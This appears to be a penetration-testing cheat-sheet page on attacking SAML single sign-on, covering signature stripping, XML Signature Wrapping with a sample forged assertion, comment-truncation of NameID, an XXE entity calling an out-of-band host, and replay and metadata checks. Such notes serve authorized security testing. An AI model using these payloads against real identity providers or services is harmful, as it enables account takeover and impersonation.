caon.io

SAML

XML signed by an IdP. Everything interesting is in how the SP validates that signature.

Burp > SAML Raider     (edit, re-sign, strip signatures)

Assertions are base64 + often deflate. Decode before you read:

echo "$SAMLResponse" | base64 -d | python3 -c "import sys,zlib;print(zlib.decompress(sys.stdin.buffer.read(),-15).decode())"

Signature stripping

The cheapest test. Remove <ds:Signature> entirely and replay.

Many SPs only verify a signature if one is present.

XML Signature Wrapping

The classic. The signature stays valid over the original assertion, but the parser reads a different one. The signature-verification code and the assertion-consuming code resolve the reference differently.

<Response>
  <Assertion ID="evil">
    <Subject><NameID>[email protected]</NameID></Subject>   <!-- read -->
  </Assertion>
  <Assertion ID="orig">                                     <!-- verified -->
    <ds:Signature>...valid...</ds:Signature>
    <Subject><NameID>[email protected]</NameID></Subject>
  </Assertion>
</Response>

Variants: wrap the original inside <Extensions>, <Object>, or a second <Response>; duplicate IDs; move the signed node into a comment-adjacent position.

SAML Raider automates the eight standard wrapping layouts. Run them all.

Comment truncation

XMLTextNodeParser implementations return only the first text node. A comment splits the NameID and the SP sees the shorter half.

<NameID>[email protected]<!--x-->.evil.tld</NameID>

Register [email protected] at the IdP, and the SP reads [email protected].

XXE

The response is XML the server parses. See XXE.

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://oob.tld/">]>

Other checks

  • Is Destination / Recipient validated? Replay the assertion at a different SP.
  • Is NotOnOrAfter enforced? Replay an old assertion.
  • Is InResponseTo bound to the request? If not, it is login CSRF.
  • Is the IdP certificate pinned, or does the SP trust any cert in the metadata?
  • Can you upload SP metadata pointing at your own IdP?
  • Injection into NameID: it lands in SQL, LDAP and templates downstream.

Articles

↑↓ navigate↵ openesc close